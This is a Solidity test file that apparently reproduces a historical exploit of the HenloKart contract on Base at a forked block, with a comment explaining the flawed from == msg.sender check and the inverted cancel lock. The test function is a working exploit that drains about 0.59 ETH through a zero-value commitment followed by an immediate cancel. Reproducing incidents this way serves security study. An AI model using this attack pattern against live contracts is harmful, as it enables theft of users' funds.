src/test/2025-02/HenloKart_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 0.59 ETH
7// Attacker : 0xc2b2197ca4b2ee3b4eb61fc59e6d592d04a2e26a
8// Attack Contract : 0xbb7cef7b870bdb80cdd2857785ad7e84303b5625
9// Vulnerable Contract : 0x27fafc210e4b240786d9ef3aa44399fb7e107f6f
10// Attack Tx : https://basescan.org/tx/0xf9ccb244be71ce3ff8c61021dc43a51c21bd1e11d73e61e64d05a9218f832c7e
11//
12// @Info
13// Vulnerable Contract Code : https://basescan.org/address/0x27fafc210e4b240786d9ef3aa44399fb7e107f6f#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/518
17//
18// HenloKart's ETH transfer helper treated `from == msg.sender` as permission to
19// send ETH from the HenloKart contract balance, instead of requiring msg.value.
20// A zero-value native-token race commitment could therefore be funded from the
21// victim balance. The old cancel lock check was also inverted, allowing the
22// attacker to cancel immediately and receive the fake deposit back.
23 
24address constant ATTACKER = 0xc2B2197ca4B2eE3b4EB61Fc59E6D592d04a2e26A;
25address constant ATTACK_CONTRACT = 0xBB7cef7b870BdB80CdD2857785AD7E84303B5625;
26address constant HENLO_KART = 0x27faFC210e4B240786d9EF3Aa44399Fb7E107F6f;
27address constant HISTORICAL_AGENT = 0xddb9FcCd82C4f5fAB67140EFfd8a744E5b3b101a;
28address constant HISTORICAL_IMPLEMENTATION = 0x5E30de98d133f956E118233ed8E054e0f5e65781;
29 
30interface IHenloKartV1 {
31    function commitToRace(
32        address player,
33        address agent,
34        address betToken,
35        uint256 tokenId,
36        uint256 betSize,
37        uint64 deadline,
38        uint64 count
39    ) external payable returns (bytes32 commitmentHash);
40 
41    function cancelCommitment(
42        bytes32 commitmentHash
43    ) external;
44}
45 
46contract ContractTest is BaseTestWithBalanceLog {
47    IHenloKartV1 private constant henloKart = IHenloKartV1(HENLO_KART);
48 
49    function setUp() public {
50        uint256 forkBlock = 26_884_275;
51        vm.createSelectFork("base", forkBlock);
52 
53        fundingToken = address(0);
54        vm.label(ATTACKER, "Attacker");
55        vm.label(ATTACK_CONTRACT, "Historical attack contract");
56        vm.label(HENLO_KART, "HenloKart");
57        vm.label(HISTORICAL_AGENT, "Historical hamster agent");
58        vm.label(HISTORICAL_IMPLEMENTATION, "HenloKart vulnerable implementation");
59    }
60 
61    function testExploit() public balanceLog {
62        uint256 balanceBefore = address(this).balance;
63 
64        bytes32 commitmentHash = henloKart.commitToRace(
65            address(this),
66            HISTORICAL_AGENT,
67            address(0),
68            0,
69            0.01 ether,
70            0,
71            59
72        );
73        henloKart.cancelCommitment(commitmentHash);
74 
75        assertGt(address(this).balance - balanceBefore, 0.58 ether);
76    }
77 
78    receive() external payable {}
79}